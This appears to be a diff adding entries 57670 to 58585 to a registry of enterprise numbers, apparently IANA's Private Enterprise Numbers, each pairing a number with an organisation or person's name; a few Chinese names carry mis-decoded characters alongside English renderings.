+57670 Cleveron AS
+57671 Silvaris Corporation
+57672 CerSign Technology Limited
+57673 X.O Concepts
+57674 JUSTFLY NETWORKS
+57675 Dr. Markus Regensburger
+57676 La marm'hotte
+57677 Shenandoah Medical Center
+57678 KGAU "RCSS"
+57679 Travel Technologies, LLC
+57680 Roman Prokhorenko
+57681 ICOWORKS
+57682 Sanritz Automation Co., Ltd.
+57683 Cloud Native Computing Foundation
+57684 Landratsamt Biberach
+57685 F. Hoffmann-La Roche
+57686 Getriebebau Nord GmbH & Co.KG
+57687 All4Labels Management GmbH
+57688 ShangHai DongZhou Lawton Telecom Technologies Co.,Ltd Fuzhou Branch
+57689 Eleos Security
+57690 Beulah Wesleyan Church
+57691 Side by Side Charter School
+57692 Datamart
+57693 REMI
+57694 i3i Ingeniería Avanzada, S.L.
+57695 NewEra
+57696 Instabims
+57697 Boston Borough Council
+57698 BTP ONETec
+57699 Cascoda Limited
+57700 Infinet-EKB LLC
+57701 TrustFour Technologies, Inc.
+57702 Network Thermostat
+57703 City of Melbourne
+57704 Kerwin Shen
+57705 Irish Residential Properties REIT plc
+57706 Busit
+57707 Ultra Electronics - Forensic Technology
+57708 Generic Network Systems LLC
+57709 Secret Double Octopus, Inc.
+57710 Arctec Solutions
+57711 Oelmann Elektronik GmbH
+57712 JetBrains
+57713 Intellian Technologies, Inc.
+57714 Chengdu Volans Technology Co., Ltd.
+57715 Bundesamt für Migration und Flüchtlinge
+57716 Raphael Peters
+57717 Moritz Marquardt (peopled)
+57718 EDL Systems
+57719 Beijing HZFD Technology Co., Ltd
+57720 AFORP-AFTI Numerique
+57721 Telecom Armenia CJSC
+57722 Mode Choc Alma ltee
+57723 Christian Financial Resources
+57724 SEPI Engineering & Construction
+57725 Xage Security, Inc.
+57726 VivoKey Technologies
+57727 Calspan
+57728 InsidePacket Inc
+57729 Foundry Health - an IQVIA business
+57730 Brayden Automation Corporation
+57731 Zoom Video Communications, Inc.
+57732 Frontier KZ LLP
+57733 Neom Company
+57734 Trasna Solutions Telecom Limited
+57735 Computer Development Systems cc
+57736 AK Lab
+57737 Informationstechnikzentrum Bund Nürnberg
+57738 Inception doo Beograd
+57739 Pedro J. Carvajal MDPA
+57740 Flipkart Internet Pvt. Ltd.
+57741 NYP Gracie Square Hospital (GRAC_NY (OPT-025867))
+57742 Wall Media Ltd
+57743 CounterFlow AI
+57744 MainConcept GmbH
+57745 Jan Ackerstaff
+57746 Acorel
+57747 Unidata S.p.A.
+57748 Fuze Inc.
+57749 Nuphoton Technologies Inc
+57750 The Simpson Organization
+57751 Sven Hankel
+57752 Whitmore High School
+57753 Therapixel
+57754 DATRAK Digitális Adattranzakciós Központ Kft.
+57755 Guangzhou Junda Technology Co., Ltd
+57756 CFMM
+57757 MOST
+57758 Stadtverwaltung Burgdorf
+57759 Sam Brittingham
+57760 Big Boy Entertainment
+57761 VSENS
+57762 Kowloonbia International Limited
+57763 Vollmergruppe
+57764 Cylus Cyber Security Ltd
+57765 BKS Products Pvt Ltd.
+57766 Some Engineering Inc.
+57767 Munif Salek Md Inc
+57768 ALTENLOH, BRINCK & CO
+57769 Wyatt Accelerator
+57770 NHS Arden & GEM Commissioning Support Unit
+57771 Rhisa
+57772 Delta Fire Ltda
+57773 LYRASIS
+57774 Tianjin Joint Optic Tech.Co,Ltd.
+57775 MirWiFi
+57776 iSimpleLab
+57777 Teceves
+57778 Hochschule fuer bildenede Kuenste
+57779 PingTech GmbH
+57780 Stadtwerke Haltern am See GmbH
+57781 Idox PLC
+57782 ACOD
+57783 Delta Controls Germany GmbH
+57784 Trinidat
+57785 Eliagroup
+57786 Centre For Development of Telematics
+57787 Profelis
+57788 Western Alliance Bank
+57789 Biocrates Life Sciences AG
+57790 Aubrey Smith
+57791 On Alert Systems, Inc.
+57792 FELIX A STANZIOLA
+57793 City Water, Light, & Power
+57794 Open Access Technology International, Inc.
+57795 Nucleus Group Ltd.
+57796 Kingsley E. Agbeyegbe, MD, PC
+57797 WebCode Kft.
+57798 Stiebel-Getriebebau GmbH & Co. KG
+57799 Universitaetsspital Basel
+57800 FromDual GmbH
+57801 Park State Bank and Trust
+57802 Starwalt Consulting Services
+57803 Colossus Data Company
+57804 CodeUP
+57805 Link-Mink
+57806 RGF Staffing Belgium
+57807 ABO-GROUP ENVIRONMENT
+57808 Bolaang Mongondow Selatan
+57809 Kukusa
+57810 Safe-T Group Ltd.
+57811 NEPHTHYS SYSTEMS
+57812 Elm City Communities
+57813 OIM Consulting (Pty) Ltd.
+57814 New Balance Poland Sp. z o.o.
+57815 Shenzhen C&M I.T. Co., Ltd.
+57816 Shanghai Xin Tonglian Packing Co.,Ltd
+57817 Guangzhou JN UNION Technology Co., Ltd ("JN Union")
+57818 PNTECH JSC
+57819 eprimo GmbH
+57820 Europapier Austria GmbH
+57821 pubchat
+57822 Michigan Medicine
+57823 Entaksi Solutions SpA
+57824 sim-hank
+57825 Shanghai Saizhi Information Technology Ltd.
+57826 Viktor Madarasz
+57827 XiangTan BenChu Network Technology Co,ltd.
+57828 Ferrari SpA
+57829 Suzhou Tremenet Communication Technology Co., Ltd.
+57830 DKE
+57831 I4 Consulting LLC
+57832 UD Trucks Corporation
+57833 Netmon
+57834 Metis IT B.V.
+57835 Trafic Technologie Système
+57836 LLC Cyberprotect
+57837 Tenet Networks Private Limited
+57838 ProstoDNS Ltd.
+57839 Southeastern Archaeological Research, Inc.
+57840 Arkham Technology Ltd.
+57841 Elite AI
+57842 AVCOMM Technologies Inc
+57843 Neutralino Space Ventures, Inc
+57844 First Business Bank
+57845 Fälth Öst Skog AB
+57846 Guardtime-Federal
+57847 ITSD
+57848 International Aero Navigation Systems Concern, Joint Stock Company
+57849 RECTALE Inc.
+57850 vanheusden.com
+57851 LLC Panasenko IV
+57852 Dasa
+57853 DEH Notificación Electrónica Habilitada, S.L.
+57854 Motive Energy
+57855 RadiusXS
+57856 Wilson Logistics
+57857 Simartis Telecom SRL
+57858 Suffolk Coastal Port Health Authority
+57859 CHROMANET
+57860 Brighton Corporation
+57861 Vita Medical Associates
+57862 MetaGeek, LLC
+57863 ASETEC Ingenieria de Sistemas S.L.
+57864 City of Decatur, AL
+57865 Eltako GmbH
+57866 Umbhaba Estates (PTY) LTD
+57867 TELUS Communication Inc.
+57868 Dapyx IT s.r.l.
+57869 BatteryDAQ
+57870 Finke
+57871 Elementblend
+57872 Stellantis N.V.
+57873 e-Digital PKI SpA
+57874 Alibaba Cloud Computing Ltd.
+57875 Haitao Jiang
+57876 Lux Projektmanagement GmbH & Co. KG
+57877 Mayanweb Consulting Ltd
+57878 Tees, Esk and Wear Valley's NHS Foundation Trust
+57879 Livtech Tecnologia
+57880 Pend Oreille County
+57881 Pend Oreille County
+57882 UCLA Center for Health Policy Research
+57883 my FinTech Inc.
+57884 Personal-Touch Holding Corp
+57885 Alitheon, Inc.
+57886 RapidSoft
+57887 Chimera Systems Ltd
+57888 PTRSLVK
+57889 GeoX Kft.
+57890 MIT-SOFT, UAB
+57891 COCONET GmbH
+57892 HERMES Systeme GmbH
+57893 Indigital
+57894 Carrot Laboratories Pty Ltd
+57895 Nephrology Consultants
+57896 Ballard Power Systems Europe
+57897 Beijing EBPioneer Technology Co. Ltd
+57898 Kodas
+57899 Hilabs
+57900 Totally Kids Rehabilitation Hospital
+57901 ProConnections
+57902 Iceland Foods LTD
+57903 Airvine scientific inc.
+57904 Stations-e
+57905 Stadt Garching
+57906 Mercurial Minds
+57907 Regopath, Inc.
+57908 IMAGO Technologies GmbH
+57909 Attendance on Demand, Inc
+57910 ALTANA Management Service GmbH
+57911 Hochu
+57912 Groupe Souris Mini inc.
+57913 Village Energy
+57914 NetMass Incorporated
+57915 Landkreis Celle
+57916 MAILSTONE
+57917 Kirchhoff Automotive GmbH
+57918 Halmek Business Solutions
+57919 Lake Washington Internal Medicine PLLC
+57920 Berletex Aero Design
+57921 Condition-ALPHA
+57922 Executive Health of Coral Gables
+57923 Open Physical Working Group
+57924 Cobham SATCOM (Thrane & Thrane)
+57925 Aston Martin Lagonda Ltd
+57926 TownSuite Municipal Software Inc.
+57927 Open Web Standard
+57928 SPEDION GmbH
+57929 IDIL PRODUKSIYON
+57930 Hannon Armstrong
+57931 Kuaishou
+57932 Hefei Zijun guangheng Technology Co., Ltd
+57933 ZoTrus Technology Limited
+57934 Rainy Lake Medical
+57935 Ethopass
+57936 Mogeneti Systems
+57937 Vietnam National University, Ho Chi Minh City
+57938 OID Base
+57939 Docrates Oy
+57940 Witte, Weller & Partner
+57941 AV Soft
+57942 Peter Janke Solutions Inc.
+57943 Tenetics
+57944 BPDL inc.
+57945 VPI Engineering
+57946 Polyglot Labs, Inc.
+57947 Home Personal Private - Moustafa ElSerougy
+57948 Cerner Thrive
+57949 èžæ™ºé€šç§‘技(北京)股份有é™å…¬å¸ (Rongzhitong Technology (Beijing) Co., Ltd.)
+57950 UberEther, Inc.
+57951 DisplayHub GmbH
+57952 Bzu Tech
+57953 Navigator Terminals UK Ltd
+57954 BV Tauris
+57955 Hangzhou Zhongchuan Digital Equipment Co., Ltd.
+57956 NHS North of England Commissioning Support
+57957 Hyroule.ch
+57958 Bordier & Cie SCmA
+57959 eCom Service IT GmbH
+57960 MOSS
+57961 Telycan S.L.
+57962 Sedam IT d.o.o.
+57963 Afzar Pardaz Tose'eh
+57964 ZAP Surgical Systems, Inc.
+57965 LLC "Company DVK-electro"
+57966 Aethera Technologies Limited
+57967 INSTITUTO PARA LA DINAMIZACIÓN ECONÓMICA S.A.
+57968 TUI Cruises GmbH
+57969 WAEIT
+57970 HKL Baumaschinen
+57971 Prodilys
+57972 OOO METAX
+57973 Martini Security
+57974 Jetstone Asset Management
+57975 Brighter Horizons Academy
+57976 RDB IT Services Inc.
+57977 Lyquidity Solutions Limited
+57978 Infomedics
+57979 Broadacres Housing Association
+57980 "RUPOST" LLC
+57981 (Hefei) Zijun guangheng Technology Co., Ltd
+57982 ALFIERI CARDIOLOGY
+57983 Linka Cloud
+57984 simplequantum.com
+57985 Hybrid DSP Systems B.V.
+57986 Poppe + Potthoff GmbH
+57987 Green Revolution Cooling
+57988 Bach-Simpson
+57989 Telecom Nancy
+57990 ZuTES
+57991 W W Wood Products
+57992 Rigger SA
+57993 Thor Technologies PTY LTD
+57994 Consent Proxy
+57995 YUAN High-Tech Development Co., Ltd.
+57996 Parazzini
+57997 SURVICE Engineering Company
+57998 SURVICE Engineering Company
+57999 Coastal Pulmonary, P.A.
+58000 银å›çš®éž‹æœè£…超市 (Yinjun Leather Shoes and Clothing Supermarket)
+58001 SCUT Machine Intelligence Lab
+58002 Innovile Teknoloji ve Yazilim Hizmetleri Bilisim San. ve Tic. Ltd. Sti.
+58003 ARD ZDF Deutschlandradio Beitragsservice
+58004 Lydia Solutions
+58005 Mary Bird Perkins Cancer Center
+58006 Lepton Systems
+58007 ECI
+58008 Küchen Aktuell GmbH
+58009 DataCache Online
+58010 Terry Burton Consulting Ltd
+58011 Universitas Udayana
+58012 REDTEA MOBILE PTE.LTD.
+58013 Klassik Stiftung Weimar
+58014 Cleveland Diagnostics, Inc
+58015 Société de l’Aéroport de Luxembourg S.A.
+58016 A&R TECH
+58017 Fast Enterprises, LLC
+58018 CRDE
+58019 OSS DESIGN
+58020 Cozzoli Machine Company
+58021 Scutech
+58022 TPNet Informatica
+58023 Monogon SE
+58024 InfoCision Management Corp
+58025 cerbris
+58026 æˆéƒ½å“讯云网科技有é™å…¬å¸ (Chengdu Juson Cloud Network Technology Co., Ltd.)
+58027 Marex
+58028 Badan Pemeriksa Keuangan Republik Indonesia
+58029 Angora Networks
+58030 beltskyy.com
+58031 Gobierno de la Ciudad de Buenos Aires
+58032 Colibri SAS - ManoMano
+58033 Cayman Islands Government
+58034 VirtualMetric
+58035 iColor Printing & Mailing Inc.
+58036 TELE 9752 Project G11
+58037 ERY BILISIM LTD. STI.
+58038 TUNA Bilisim ve Yayincilik
+58039 TrilineSystems Ltd.
+58040 Nettec AS
+58041 Call2Home Networking BV
+58042 Brian J Lipman MD P.C.
+58043 Polar Communications
+58044 Brian Dube IT
+58045 daho.at
+58046 Kreibich Open Source IT
+58047 Brose-Sitech
+58048 SUNRAY GROUP
+58049 smoca ag
+58050 Action Car and Truck Accessories
+58051 Ginelli Cancer Care
+58052 NEW CO 1
+58053 ADIXUM GmbH
+58054 Colletti Tech LLC
+58055 JASON G DEFRANCIS, MD PA
+58056 Health and Welfare Information Systems Centre
+58057 Kyndryl Japan Inc.
+58058 LEERANG
+58059 Jinan Inspur Data Technology Co., Ltd.
+58060 LMAX Trust Services
+58061 Booker Ltd
+58062 Infozech Software Pvt Ltd
+58063 Beyond Identity, Inc.
+58064 Zezima
+58065 cyan Security Group GmbH
+58066 UAB "ICECO"
+58067 Exsolvi Holding AB
+58068 TCN Inc
+58069 BxR
+58070 CRO55
+58071 AMT Group
+58072 yamnord GmbH
+58073 Hellmann Poultry GmbH & Co. KG
+58074 Weidner Apartment Homes
+58075 Wombkeepers AZ Obstetrics and Gynecology, PC
+58076 Anduril Industries
+58077 Electrotecnica S.A.
+58078 International vending network service supply
+58079 Linux Laboratory Network
+58080 ITM Software sp. z o. o. sp. k.
+58081 Ballerup Kommune
+58082 ARS Products
+58083 IoT4Farms Ltd
+58084 Město Horšovský Týn
+58085 dcbel Inc.
+58086 GEDS Global Inc.
+58087 R+GA GmbH
+58088 Cybersign
+58089 Service Objects
+58090 Lierda Technology Group Co., Ltd.
+58091 Air Hydro Power
+58092 HK Danmark
+58093 Beijing Trusfort Technology Co., Ltd.
+58094 Abu Dhabi Health Services Company
+58095 Dadeh Gostar Asr Novin P.J.S. Co. (HiWEB)
+58096 National Authority for Digital Certification
+58097 Urzad Ochrony Konkurencji i Konsumentow (UOKiK)
+58098 Atos Systems Business Services GmbH - ASCN
+58099 Unassigned
+58100 INSOFT s.r.o.
+58101 Mayor and City Council of Cumberland Md
+58102 Tom Wellmann
+58103 Agsensio Pty Ltd (Zetifi)
+58104 496tb
+58105 Guangzhou Bingo Software Co.,Ltd.
+58106 RAMAXEL
+58107 Syskey Softlabs Private Limited
+58108 ProCAncer-I Project
+58109 Allgeier IT Solutions GmbH
+58110 Lendio
+58111 F&G Annuities & Life
+58112 Banco Solidario S.A.
+58113 OAM company
+58114 CloudAtWork
+58115 Axess Networks Solutions
+58116 Cats Protection
+58117 Daemex LLC
+58118 Tau Hypercomputing Facility
+58119 Sungrow Power Supply Co., Ltd.
+58120 Kombiverkehr Deutsche Gesellschaft für kombinierten Güterverkehr mbH & Co. KG
+58121 Marcel Krüger
+58122 FHEM e.V.
+58123 Nations Holding Company
+58124 DPC INDIA PRIVATE LIMITED
+58125 Pulsar K Bogusz Spółka Jawna
+58126 Frodexim Trade LLC
+58127 ООО "Корда Групп" ("Korda Group" Ltd.)
+58128 Salzgitter Maschinenbau
+58129 Beyond Expectations - BEXP
+58130 Sapphire Community Health Inc.
+58131 Digital Harmonic, LLC
+58132 xFusion Digital Technologies Co., Ltd.
+58133 Bait Al-Gomla Corporation
+58134 IEF-Werner GmbH
+58135 Stephan Brunner
+58136 Lexicon Pharmaceuticals, Inc
+58137 TBS Factoring Service, LLC
+58138 TBS Factoring Service, LLC
+58139 Daniel Cardoza
+58140 Royal National Orthopaedic Hospital
+58141 Inetum Switzerland Ltd.
+58142 Avenda Health
+58143 Sheldon College
+58144 Skaylink GmbH
+58145 PREMIER MEDICAL GROUP OF CA
+58146 ShenYang JinJinXin Science and Technology Ltd.
+58147 Shenyang Wonderful Techenology Co., Ltd
+58148 Busana Apparel Group
+58149 S&T Hrvatska d.o.o.
+58150 West Texas Obgyn
+58151 MaadiXZone S.L
+58152 Krauss-Maffei Wegmann GmbH & Co. KG
+58153 jdtw
+58154 Boardigo SA
+58155 DeBoer Tech Services, LLC
+58156 Bluefront
+58157 Daehan Power Electronic
+58158 Alpha Bridge Technologies Private Limited
+58159 Addison Lee
+58160 Adportas Media GROUP S. A.
+58161 Emergent Vision Technologies Inc
+58162 Shenzhen cloud Dier Technology Co.,Ltd
+58163 Kemp ECS Connection Manager
+58164 i2iCore Technologies
+58165 Swedavia AB
+58166 SVMS
+58167 Town of Irondequoit
+58168 Gmina Olsztyn
+58169 Cyburity, Inc.
+58170 Canvas Medical
+58171 Groundspace
+58172 AudioScience, Inc.
+58173 Taheem Johnson, Inc.
+58174 WellJoint (Shanghai) Technology Co., Ltd.
+58175 Ateliers François
+58176 SYNCHRONIC
+58177 LS Project
+58178 Vodafone Group Home Devices
+58179 SJ – Die Falken LV Niedersachsen
+58180 DUOMED S.A.
+58181 Jasper T Trading Inc.
+58182 THREATINT (CYPRUS) LTD
+58183 The Mx Group
+58184 First Western Bank and Trust
+58185 GOVCERT.LU
+58186 trustable solutions UG
+58187 Elemental Software
+58188 Pölkky Oy
+58189 BREAKFAST
+58190 Prequal Digital Mining
+58191 En+
+58192 Regio Energie Solothurn
+58193 Perto S.A. - Periféricos para Automação
+58194 Bulgarian Deposit Insurance Fund
+58195 C Spire
+58196 BCi Digital
+58197 SIGN8 GmbH
+58198 FiberHome Supermicro lnformation Technology Co.,LTD
+58199 JetIO Technology Ltd.
+58200 NoBiG mbH
+58201 Optimum Mobile
+58202 SPbEC-Mining, Ltd. Co.
+58203 Cataldo Ambulance Service, Inc.
+58204 Com4 AS
+58205 diconium GmbH
+58206 Newbury Corporation
+58207 Collège Sainte-Anne
+58208 Verbandsgemeinde Leiningerland
+58209 LLC "LODM-Technology"
+58210 MDS Global
+58211 Friedrichs
+58212 Dytech IT-Solutions GmbH
+58213 Xeos Medical
+58214 IGEN Tech Co., Ltd.
+58215 Azure-Hub
+58216 Signoretta Maurizio & co
+58217 Rally Tactical Systems, Inc.
+58218 Tozed Kangwei Intelligent Technology
+58219 GRID NV
+58220 Université Jean Moulin Lyon 3
+58221 European Spallation Source
+58222 Näslund TransportService AB
+58223 akYtec Gmbh
+58224 Telnyx
+58225 Miami County, KS
+58226 Cyber Sciences, Inc.
+58227 Chongqing Lavid Industrial Co.,Ltd.
+58228 Nature Coast Psychiatry PLLC
+58229 Terial Corp
+58230 Sectorinstituut Transport en Logistiek
+58231 Minervis GmbH
+58232 IoTconsultancy.nl
+58233 ELPRO Technologies
+58234 cherryEPG
+58235 MUJIN ENG
+58236 ZeronsoftN
+58237 Jointsc
+58238 Gators Homelab
+58239 Oesterreichischer Bundesverlag
+58240 Stickfish Software GmbH
+58241 Passport Automotive Group
+58242 A2 Corp.
+58243 WBS Technology
+58244 Andasis Elektronics Inc
+58245 Stuttgart Inc.
+58246 NRA Group
+58247 National Steel Car
+58248 eFAB P.S.A
+58249 Bermuda Hospitals Board
+58250 Pyramid Heating and Cooling
+58251 Småland Timber Aktiebolag
+58252 Marine Radio LLC
+58253 NetSeT Global Solutions
+58254 北京å‰è§†æ±‡é€šç§‘技有é™è´£ä»»å…¬å¸ (Beijing Jishihuitong Technology Co., Ltd.)
+58255 gaelicWizard.LLC
+58256 Rebio AB
+58257 Siemens Shenzhen Magnetic Resonance Ltd.
+58258 Defensya ingenieria Internacional S.L.
+58259 Mississippi County Electric Cooperative, Inc.
+58260 MergeBase
+58261 Nuvve Holding Corp
+58262 Zamiri Page
+58263 Tealcommunications inc.
+58264 Simon's Personal Information Infrastructure
+58265 Cornerstone Christian College
+58266 Hebei Jiaxu Fumei data information Co., Ltd
+58267 BT EdenNET
+58268 Vastuu Group Oy
+58269 MicroSpunk LLC
+58270 Profian Inc.
+58271 StreamSource.org
+58272 Waterford Consultants, LLC
+58273 Cellhire plc
+58274 HILO.CZ
+58275 Eternalplanet Energy Ltd
+58276 Bundeskriminalamt
+58277 Insite360
+58278 Adopt Nettech Pvt Ltd
+58279 Peer Software, Inc.
+58280 Grassie
+58281 Allianz Technology SE
+58282 Zethe
+58283 BIPBIP365
+58284 Juuso Marttinen
+58285 Connor Goodwolf
+58286 harada syouten
+58287 bpm consult ag
+58288 Digital Workplace 360 GmbH
+58289 FABMation GmbH
+58290 Guangzhou GRG Wuzhou Technology Co., Ltd.
+58291 Direction Générale des Finances publiques
+58292 Satish A Shah MD PLLC
+58293 Uptime-ICT
+58294 Copper River Seafoods
+58295 X-Pert Multimedia Solutions Ltd.
+58296 W. Wahli AG
+58297 TRILUX Group Management GmbH
+58298 KBBI
+58299 hoek.io
+58300 Deutsche Glasfaser Wholesale GmbH
+58301 state grid Zhejiang Electric Power Corporation
+58302 Lanao Communication Technology Limited
+58303 North Canyon Medical Center
+58304 Habilee S.A. de C.V.
+58305 Mission Dialysis Access Center, PA
+58306 BOUYER INDUSTRIE
+58307 THengineering e.K.
+58308 Küberpunk OÜ
+58309 振生形象设计有é™å…¬å¸ (Zhensheng Image Design Co., Ltd.)
+58310 Global Data Systems Inc.
+58311 FSUE Moscow Endocrine Plant
+58312 iTeamChina NETWORK
+58313 NILE GLOBAL, INC.
+58314 Bizer Ridge Enterprises
+58315 Trapeze Switzerland GmbH
+58316 Bastian Software Solutions
+58317 Constitutional Law Center for Muslims in America
+58318 Leone Home Healthcare Agency
+58319 CMA Flooring and Design
+58320 Jayketek Studio Inc.
+58321 ZX SOLUTION CORPORATION
+58322 NetLab
+58323 Fixed Misr
+58324 ITSumma
+58325 Industrial Monitoring & Control Pty Ltd
+58326 ITeam SA
+58327 Esino Incubazioni srl
+58328 Digimark srl
+58329 DYSTEN SP. Z O.O.
+58330 Gobierno de la Ciudad Autónoma de Buenos Aires
+58331 Three Z Printing
+58332 Eagle's Flight
+58333 T Pieters
+58334 GEWIS
+58335 Capitol Broadcasting Company
+58336 Tekkgear
+58337 Rumble, Inc
+58338 Alauda
+58339 wellcloud
+58340 me0x
+58341 Relib Technolgy
+58342 Blindsight Studios
+58343 AC-Schaerbeek
+58344 Fr. Lürssen Werft
+58345 NVL B.V. & Co. KG
+58346 TechTeamer Ltd.
+58347 Kyubi System
+58348 Navice Consulting
+58349 Navice Consulting
+58350 BinaryBabel LLC
+58351 KentBank d.d.
+58352 FiberTrade Ltd
+58353 EURO-Leasing GmbH
+58354 The Ince Group
+58355 SkyFive AG
+58356 Bankovni identitra,a.s
+58357 Pedro J Penalo MD PA
+58358 Goup Co.,Ltd
+58359 Stadtwerke Ahaus GmbH
+58360 AETEK INC.
+58361 Novaya
+58362 NetLAB GmbH
+58363 RTO GmbH
+58364 Northern Arizona University
+58365 Rowanteck
+58366 NEPBROADCASTING.COM
+58367 Five Mountains Hawaii dba Kipuka O Ke Ola
+58368 Hangzhou Clounix Technology Limited
+58369 Graham Packaging LP
+58370 ACMOS INC.
+58371 Torpshammars transporter AB
+58372 Servolift GmbH
+58373 Services TI TECHNIKA IT Services
+58374 SMTech, Ltd. Co.
+58375 Jirotech
+58376 ImageMover MD
+58377 UVAX Concepts, S.L.
+58378 Delta Electronics (Shanghai) Co., Ltd. Hangzhou Design Center
+58379 International Data Spaces Association e.V.
+58380 Tailor, inc.
+58381 ТОО "ЮникÑ-Beverage" (Unix-Beverage LLP)
+58382 CONSEIL DEPARTEMENTAL DE LA HAUTE-MARNE
+58383 CONSEIL DEPARTEMENTAL DE LA HAUTE-MARNE
+58384 Hanhaa GenX
+58385 TELECALL
+58386 N3
+58387 Canyon Aeroconnect
+58388 Shenzhen RAKwireless Technology Co.,Ltd.
+58389 Dawson
+58390 TABControl Tecnologia LTDA
+58391 MOVILMAX GUATEMALA, SOCIEDAD ANONIMA
+58392 IdomSoft
+58393 MDC-Service Wittenburg GmbH
+58394 Mer-Bach.com
+58395 Sachin Kumar
+58396 Eriksmåla Förvaltning AB
+58397 Letko Brosseau & Associates
+58398 Fidelix Oy
+58399 Genmon
+58400 Viet Dragon Securities Corporation
+58401 Accelecom LTD.
+58402 ZRALNET
+58403 Sichuan Taifu Ground Beidou Technology Co., Ltd.
+58404 CONFIRMA
+58405 Innsbrucker Kommunalbetriebe Aktiengesellschaft
+58406 mdtspace.dmz
+58407 Aulss55
+58408 Ciraulo Wireless
+58409 IRIS CRM
+58410 conveyxhome
+58411 Lund
+58412 Ringtail Security
+58413 ip-studio
+58414 ioTec Solutions
+58415 JSC YIT Saint-Petersburg
+58416 Paragon Application Systems, Inc.
+58417 NAWC-WD
+58418 Addon Networks
+58419 BlockOps
+58420 Ciklet Iletisim Ltd. Sti.
+58421 netops global
+58422 TOKAI Communications Corporation, IoT Dept
+58423 Baza Life Co Ltd
+58424 Technica Engineering GmbH
+58425 AEV Broadcast srl
+58426 Thaihong Plastic Industry Co., Ltd.
+58427 Cruise, LLC
+58428 Adwia Pharmaceuticals
+58429 IPCOM Ltd
+58430 Stream Circle, a. s.
+58431 CJY Internet
+58432 Aptic GmbH
+58433 mob.id
+58434 EuleO
+58435 Meteorcomm, LLC
+58436 Kodmyran AB
+58437 City Colleges of Chicago
+58438 Lynden Incorporated
+58439 Quality Living Center Co., Ltd.
+58440 SmartVox
+58441 Bitnetix
+58442 KANDENKO CO.,LTD
+58443 Addiko Bank d.d.
+58444 University School of Physical Education in Krakow
+58445 ondeso GmbH
+58446 Reinhold Keller GmbH
+58447 Uno Informatica S.R.L.
+58448 Print Tracker
+58449 ESSECCA GmbH.
+58450 dmtp llc
+58451 Tianyi Network
+58452 Stadtwerke Mühlhausen GmbH
+58453 City of New Orleans
+58454 Highway9 Networks
+58455 The School of Banking and Management in Cracow
+58456 tuxcademy Project
+58457 Ikeja Wireless
+58458 Ethernity
+58459 Philotic.cloud
+58460 EMnify GmbH
+58461 CWJ Power Electronics
+58462 Kralupol a.s.
+58463 Amadon LLC
+58464 E-Comm Emergency Communications for British Columbia Incorporated
+58465 Leibniz-Institut für Deutsche Sprache
+58466 Nestor Nestor Diculescu Kingston Petersen
+58467 Aitken Industries
+58468 Helmholtz-Zentrum fuer Infektionsforschung GmbH
+58469 Atom Computing, Inc.
+58470 Elekto Produtos Financeiros
+58471 The Poor Man's Datacenter
+58472 ZPrAE Sp. z o.o.
+58473 Dominion Packaging
+58474 Leibniz Institute for Regional Geography (IfL)
+58475 Cerner Corporation
+58476 Alpha Assurances Inc.
+58477 Zone de Police de Huy
+58478 Toshiba Quantum Technology
+58479 MEWEM
+58480 genZ Energy Pty Ltd
+58481 IIS DEL COSSATESE E VALLE STRONA
+58482 tonekids.com
+58483 Shenzhen Link-All Technology Co., Ltd
+58484 National Institute of Technology,Tiruchirappalli
+58485 PT. Rajakon Teknik
+58486 PT. Teknologi IoT Indonesia
+58487 ProHacktive
+58488 EvoLogics GmbH
+58489 Spear Innovations Oy Ltd.
+58490 Care Oncology Center
+58491 MAPLE HOME GARDEN COMPANY LIMITED
+58492 Stemmer Imaging AG
+58493 AFFILIATED COMPANY "NAFTOGAZBEZPEKA" OF NATIONAL JOINT STOCK COMPANY "NAFTOGAZ OF UKRAINE"
+58494 sector7 GmbH
+58495 Omnisens SA
+58496 Raincubic
+58497 Stadt Bern Testlab Lernende
+58498 Victorian Building Authority
+58499 Alphatron Medical Systems B.V.
+58500 ToCenTek
+58501 ExpertSolutions
+58502 Fernandes Contabilidade
+58503 Disrupt Tech Labs
+58504 Beijing Yuanshan Networks
+58505 PERCEIG AI SYSTEMS (OPC) PVT LTD
+58506 The Sapling Company, Inc.
+58507 JSC "IB-Reform"
+58508 ISEN Yncrea OUEST
+58509 INRAE
+58510 ICHEC
+58511 De Foor Julie
+58512 Ably S.r..l.
+58513 Computational Imaging Systems, ITI, University of Stuttgart
+58514 Global Packaging, Inc.
+58515 HP Inc.
+58516 Vertigo Security
+58517 Docaposte
+58518 Thales URS
+58519 ZILLNK
+58520 van Gelder Groep
+58521 keyONE GmbH
+58522 OSA Systeme GmbH
+58523 COSMED S.r.l.
+58524 myshoenetwork
+58525 PSC Vodec
+58526 pdhouse.store
+58527 Ginger Consulting
+58528 StreamVX Sp. z o.o.
+58529 Antimatter
+58530 SolarPower
+58531 Biznes Systema Telecom, LLC
+58532 Rofim
+58533 Rasheda overseas limited
+58534 The West African Examinations Council, Banjul
+58535 NASES
+58536 Služba Vlade Republike Slovenije za digitalno preobrazbo
+58537 SEP2
+58538 SecurityGen Czech, s.r.o
+58539 Tenerity Limited
+58540 Cobira ApS
+58541 ring-0.net
+58542 Universitätsklinikum Tübingen, Abteilung Sportzmedizin
+58543 HOSTVM
+58544 Nordomatic
+58545 FOXESS CO., LTD.
+58546 muellerpublic.de
+58547 Nowina Solutions
+58548 CHINESE METHODIST SCHOOL (NORTH POINT)
+58549 CHINESE METHODIST SCHOOL (NORTH POINT) INFORMATION TECHNOLOGY DEPARTMENT
+58550 Justin Schlatter
+58551 Weld County School District RE-3J
+58552 Stellar Industries
+58553 Damanesign
+58554 Gamache, Inc.
+58555 Union Dynamic, Inc.
+58556 Franklin City Schools
+58557 netplay GmbH
+58558 Leonardo Bracco
+58559 ShenZhen Lux Power technology Co., LTD
+58560 Odessa Missionary Fund
+58561 De Greef's Wagen-, Carrosserie- en Machinebouw B.V
+58562 Sumitomo Bakelite Co., Ltd.
+58563 XANTRONIX Industrial Heavy Manufacturing Concern
+58564 AVIZ NETWORKS
+58565 Stadtwerke Annaberg-Buchholz Energie AG
+58566 OCSIN – République et Canton de Genève
+58567 Questgates LTD
+58568 PT. Indoreka Jaya Wutama
+58569 NCHAIN UK LIMITED
+58570 Kalil Bottling Co.
+58571 Dualz Solutions
+58572 Christoph Meyer
+58573 Peak Data Networks, Inc.
+58574 BSD HomeLab Project
+58575 Pnarp.com
+58576 Phelps County Regional Medical Center
+58577 Red Lily
+58578 Keaton Alexander Guger Lair
+58579 Mercury Limited
+58580 Gamania Digital Entertainment Co., Ltd.
+58581 iCloudShield Security Technology Co.,Ltd.
+58582 Momenta
+58583 Association Consortium Standardization in Lab Automation (SiLA)
+58584 Elpitech LLC
+58585 Contact Software GmbH
